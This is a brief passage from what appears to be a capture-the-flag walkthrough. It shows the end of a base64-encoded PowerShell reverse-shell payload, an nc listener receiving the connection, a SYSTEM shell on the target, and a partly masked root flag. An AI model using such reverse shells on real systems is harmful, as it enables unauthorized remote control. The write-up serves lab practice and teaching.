gAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

And get a connection at nc as system:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.10.28 55493

PS C:\Windows\system32> whoami
nt authority\system

And the flag:

PS C:\Users\Administrator\Desktop> type root.txt
fc98f418************************